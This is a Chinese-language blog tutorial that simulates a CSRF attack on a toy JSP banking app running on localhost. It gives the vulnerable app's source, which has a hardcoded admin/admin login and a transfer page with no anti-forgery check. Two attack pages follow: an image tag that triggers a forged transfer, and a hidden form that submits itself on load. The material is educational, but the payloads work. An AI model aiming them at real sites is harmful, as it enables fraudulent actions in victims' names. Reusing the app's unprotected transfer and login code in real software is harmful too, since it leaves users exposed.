模拟简单的转账遭到CSRF攻击的示例

最新推荐文章于 2024-08-22 16:32:30 发布
最新推荐文章于 2024-08-22 16:32:30 发布
阅读量2.2k 收藏 6
点赞数 2
分类专栏： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_32523587/article/details/79494939
版权


1简介

1.1什么是CSRF

原理图：


CSRF（Cross SiteRequest Forgery），中文是跨站点请求伪造。CSRF攻击者在用户已经登录目标网站之后，诱使用户访问一个攻击页面，利用目标网站对用户的信任，以用户身份在攻击页面对目标网站发起伪造用户操作的请求，达到攻击目的。

1.2模拟转账时遭到CSRF攻击

1.2.1正常转账流程




  • 进入成功界面后，进行转账操作




  • 点击转账，成功后如下：




  • 如果是其他人在其他地方直接输入登录成功后的界面

http://localhost:8080/testXSS/login_success.jsp或者 输入转账的API

http://localhost:8080/testXSS/transfer.jsp?from=infi&account=10000&to=hacker&submit=%E8%BD%AC%E8%B4%A6，则session不匹配，会跳转到登录界面：


 

1.2.2CSRF攻击

  • 黑客自己建一个hack.jsp文件，里面包含这样一行代码

<img src="http://localhost:8080/testXSS/transfer.jsp?from=infi&account=10000&to=hacker&submit=%E8%BD%AC%E8%B4%A6">

然后将hack.jsp的链接 http://localhost:8080/testXSS/hacker.jsp发给受害人。


  • 受害人点击链接后，出现的界面如下：



  • 但是此时已经进行了一个将受害人的钱转给黑客的操作了，从服务端可以看出


如果黑客在自己电脑上做这个 操作，会因为session不匹配而无法进行转账



下面是代码：

login.jsp

<%@ page language="java" contentType="text/html; charset=utf-8"  
    pageEncoding="utf-8"%>  
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">  
<html>  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">  
<title>阿飞银行</title>  
</head>  
<body>  
    <div>  
        <form action="dologin.jsp" method="post">  
            <span>用户名</span>  
            <input type="text" name="username" />  
            <span>密码</span>  
            <input type="text" name="password" />  
            <input type="submit" value="登录"/>  
        </form>  
      
    </div>  
</body>  
</html>


dologin.jsp 
<%@ page language="java" contentType="text/html; charset=utf-8"  
    pageEncoding="utf-8"%>  
<%  
    String path=request.getContextPath();  
    String basePath=request.getScheme()+"://"+request.getServerName() +":"+request.getServerPort()+path+"/";  
    String username="";  
    String password="";  
    request.setCharacterEncoding("utf-8");  
    username=request.getParameter("username");  
    password=request.getParameter("password");  
    out.println(username);  
    out.println(password);  
    if("admin".equals(username) && "admin".equals(password)){  
        session.setAttribute("loginUser",username);  
        response.sendRedirect("login_success.jsp"); 
    }else{  
        response.sendRedirect("login_failure.jsp");  
    }
%>


login_success.jsp

<%@ page language="java" contentType="text/html; charset=utf-8"  
    pageEncoding="utf-8"%>  
<%  
    String path=request.getContextPath();  
    String basePath=request.getScheme()+"://"+request.getServerName() +":"+request.getServerPort()+path+"/";  
    String username=(String)session.getAttribute("loginUser");  
    request.setCharacterEncoding("utf-8");  
   
    out.println(username);  
    if(  username != null){  
       // session.invalidate();
    }else{  
        response.sendRedirect("login.jsp");
    }
%>  
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">  
<html>  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">  
<title>阿飞银行</title>  
</head>  
<body>  
    <div>  
        欢迎<h3><%=session.getAttribute("loginUser") %></h3>，登录成功！！！！  
    </div> </br></br>
    
    <form action="transfer.jsp" method="get">
    	转账人:    <input type="text" id="from" name="from"></br>
	    转账金额:  <input type="text" id="account" name="account"></br>
	       收账人： 		<input type="text" id="to" name="to"></br></br>
	     		<input type="submit" id="submit" name="submit" value="转账">
    </form>
    
</body>  
</html>


login_failure.jsp 
<%@ page language="java" contentType="text/html; charset=utf-8"  
    pageEncoding="utf-8"%>  
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">  
<html>  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">  
<title>阿飞银行</title>  
</head>  
<body>  
    <div>  
        登录失败，请检查用户名或者密码！！！  
        <a href="login.jsp">login</a>  
    </div>  
</body>  
</html>


transfer.jsp 
<%@ page language="java" contentType="text/html; charset=utf-8"  
    pageEncoding="utf-8"%>  
    

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">  
<html>  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">  
<title>阿飞银行</title>  
</head>  
<body>  
    <div>  
        欢迎<h3><%=session.getAttribute("loginUser") %>
    </div> </br></br>
    
   	<%
   		String username=(String)session.getAttribute("loginUser");  
	    request.setCharacterEncoding("utf-8");
	    if(  username == null){
	       response.sendRedirect("login.jsp");
	       return;
	    }
   	
   		String from="";  
	    String account="";  
	    String to="";  
	    request.setCharacterEncoding("utf-8");  
	    from=request.getParameter("from");  
	    account=request.getParameter("account");
	    to= request.getParameter("to");
   	 %>
   	 
   	 <%=from%> 向  <%=to%> 转账了 <%=account%> 块钱
   	 
   	 <%
   	  System.out.println(from + " 向 " + to + " 转账了 " + account + " 块钱");
   	  %>
    
</body>  
</html>


hacker.jsp

<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <base href="<%=basePath%>">
    
    <title>一个很好很好的网站</title>
    
	<meta http-equiv="pragma" content="no-cache">
	<meta http-equiv="cache-control" content="no-cache">
	<meta http-equiv="expires" content="0">    
	<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
	<meta http-equiv="description" content="This is my page">

  </head>
  
  <body>
    <img src="http://localhost:8080/testXSS/transfer.jsp?from=infi&account=10000&to=hacker&submit=%E8%BD%AC%E8%B4%A6">
  </body>
</html>


 

如果转账操作都是POST请求的话，那么就不能使用上面的方法进行CSRF攻击了。这时黑客可以做一个界面，隐藏表单，请求方式为POST，加载时自动提交表单。

将login_success.jsp里的提交方式由get改成post，然后在transfer.jsp里加上一句

if(request.getMethod().equals("GET")){
	   		return;
	   	}
这样就只处理POST请求了，这时候黑客构造另一个网页


hacker_post.html

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>攻击者主机页面</title>
    
    <script type="text/javascript">
       window.οnlοad= function(){
   			 	document.getElementById("ok").click();
   		}
   		
   		/*
   		function gy(){
   		  document.getElementById('ok').οnclick= function(e) {
   		  
   			};
   		}
   		gy();*/
   		  
    </script>
</head>
<body>
		<form style="display: none;" id="csrf" action="http://localhost:8080/testXSS/transfer.jsp" method="post" >
		    <input type="text" name="from" value="infi">
		    <input type="text" name="account" value="10000">
		    <input type="text" name="to" value="hacker">
		    <input type="submit" id="ok" name="submit" value="%E8%BD%AC%E8%B4%A6"  >
		</form>
    	
</body>
</html>

然后将hacker_post.html的链接  http://localhost:8080/testXSS/hacker_post.html 发给受害人，其他操作同上


嫩草终结者
关注
专栏目录
实现 CSRF 攻击简单示例
weixin_33989780的博客
06-21 2505
为什么80%的码农都做不了架构师？>>> ...
Flask模拟实现CSRF攻击的方法
09-20
# Flask 模拟实现 CSRF 攻击方法详解 CSRF（Cross Site Request Forgery，跨站请求伪造）是一种网络攻击手段，它利用了用户已经登录并持有有效会话（如 Cookie）的情况，使得攻击者可以在不知情的情况下，通过诱使...
csrf漏洞例子（html、css、JavaScript、php）
04-26
demo例子操作步骤 1、登录获取身份认证（这里用到session） 2、登录后点击跳转进入有漏洞的网站（这里模拟的是黑客发给受害者的地址） 3、点击跳转后是一个图片 注解：其中src的地址money.php是网站的转账接口 其中name是转给谁，money是转多少钱 一旦目标登录了网站访问了这个网页，就会利用session给jake转账100元 可以在目录下查看journal.txt查看转账日志//每刷新一次页面就会转一次账
csrf 攻击实例
weixin_45131345的博客
06-20 713
详情见：https://www.jianshu.com/p/264ba4101831
CSRF的攻击与防御
最新发布
Galaxy_0的博客
08-22 537
CSRFTester是一款CSRF漏洞的测试工具。CSRFTester工具的测试原理大概是这样的，使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息，通过在CSRFTester中修改相应的表单等信息，重新提交，相当于一次伪造客户端请求，如果修测试的请求成功被网站服务器接受，则说明存在CSRF漏洞，当然此款工具也可以被用来进行CSRF攻击。
CSRF实例
七月_的博客
08-09 5265
DVWA 实例 CSRF    LOW 我们修改自己密码   然后把别人密码修改了     这是一个修改自己密码的页面   修改密码为qwe 我们修改密码   抓一下包 我们用这个包来生成一个CSRF的表单让别人去点击  (前提是别人登录状态，浏览器有cookie生成)   生成一个CSRF的表单 我们复制这个代码   在桌面新建文件  把这个html代码...
Web安全之CSRF实例解析
frontend_frank的博客
07-06 1483
CSRF跨站请求伪造（Cross Site Request Forgery），是指黑客诱导用户打开黑客的网站，在黑客的网站中，利用用户的登陆状态发起的跨站请求。CSRF攻击就是利用了用户...
基于JSP的Java Web项目的CSRF防御示例
01-07
**基于JSP的Java Web项目的CSRF防御示例** 在Web开发中，跨站请求伪造（Cross-Site Request Forgery，简称CSRF）是一种常见且危险的安全漏洞，它允许攻击者在用户已登录的上下文中执行非预期的操作。在基于JSP的...
SpringSecurity深度解析：防CSRF攻击示例与代码
SpringSecurity的防CSRF攻击实现是Web安全领域的一个重要环节，它在保护网站免受恶意攻击方面扮演着关键角色。CSRF，全称Cross-site request forgery，是一种常见的网络攻击手段，攻击者通过伪装成已登录的用户，向...
浅谈 CSRF 攻击（附实例，go 语言服务器）
DisMisPres的博客
09-23 832
先提一点，做实例的时候遇到的 cookie 带不上的原因，是谷歌提出的 SameSite Cookies 机制导致的，之前都不知道 cookie 还有这么个属性。 趣事 2011年12月21日，国内最大的开发者社区 CSDN 被黑客在互联网上公布了600万注册用户的数据。更糟糕的是，CSDN 在数据库中明文保存了用户的密码。当然了，这次事故的原理，肯定不是 CSRF。 原理 CSRF 是 Cross-Site Request Forgery 的缩写，跨站请求伪造。本篇阐述的是基于浏览器 cookie 机制
csrf跨站请求伪造简单示例
10-18
一个简单的csrf跨站请求伪造的示例,只有一个简单的表单提交功能.通过伪造表单提交,完成一个简单的钓鱼案例
不错的讲解CSRF攻击的小例子
jackyrongvip的专栏
03-26 307
CSRF
CSRF跨域攻击实例与防范
weixin_52224421的博客
01-20 588
CSRF跨域攻击实例与防范
csrf攻击模拟
认知 行动 坚持
05-06 7606
之前介绍过csrf的攻击原理和防御, 请见"https://blog.csdn.net/stpeace/article/details/53512283"， 本文就不再赘述。 最近模拟实践了一番，来简要说说： 1. Alice欠Bob 100元钱， 通过银行转账给Bob, 一切合情合理， Alice的浏览器执行的操作是：http://www.bank.com/tra...
（三）CSRF实例
weixin_43047908的博客
04-12 593
CSRF vulnerability with no defenses 电子邮件更改功能容易受到CSRF的攻击。 通过Burp Suite代理访问流量，登录到帐户，更新电子邮件，然后在代理历史记录中查找结果请求。 构造Poc： <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')&lt
CSRF跨站请求伪造攻击（附自动化工具实战某CMS）
m0_51468027的博客
02-02 3122
一、CSRF介绍   CSRF全称为跨站请求伪造（Cross-site request forgery），是一种网络攻击方式，也被称为 one-click attack 或者 session riding。通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像xss漏洞，但是它与xss漏洞非常不同。xss利用站点内的信任用户，而CSRF则通过伪装成受信任用户请求受信任的网站。与xss攻击相比，csrf攻击往往不大流行，也难以防范，所以认为比xss漏洞更具危险性 二、CSRF漏洞原理   CS
7.CSRF(跨站请求伪造)
qq_45926195的博客
10-31 165
7.1什么是csrf CSRF是Web应用程序的一种常见漏洞，其攻击特性是危害性大但非常隐蔽，尤其是在大量Web 2.0技术的应用背景下，攻击者完全可以在用户毫无察觉的情况下发起CSRF攻击 7.2csrf原理 Cross-site request forgery 简称为“CSRF”，在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接），然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击就完成了 程序员开发的时候，未对相关页面进行token和REFERER判断，造成攻击者..
跨站点请求伪造 （CSRF）：影响、示例和预防
mmxhappy的专栏
01-26 698
跨站点请求伪造 （CSRF/XSRF），是一个 Web 安全漏洞，可诱使 Web 浏览器执行不需要的操作。因此，攻击者滥用 Web 应用程序对受害者浏览器的信任。它允许攻击者部分绕过同源策略，该策略旨在防止不同的网站相互干扰。CSRF 令牌是由服务器端应用程序生成的唯一、不可预测的密钥值，并发送到客户端以包含在客户端发出的后续 HTTP 请求中。颁发令牌后，当客户端发出请求时，服务器会检查请求是否包含预期的令牌，如果令牌丢失或无效，则拒绝它。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值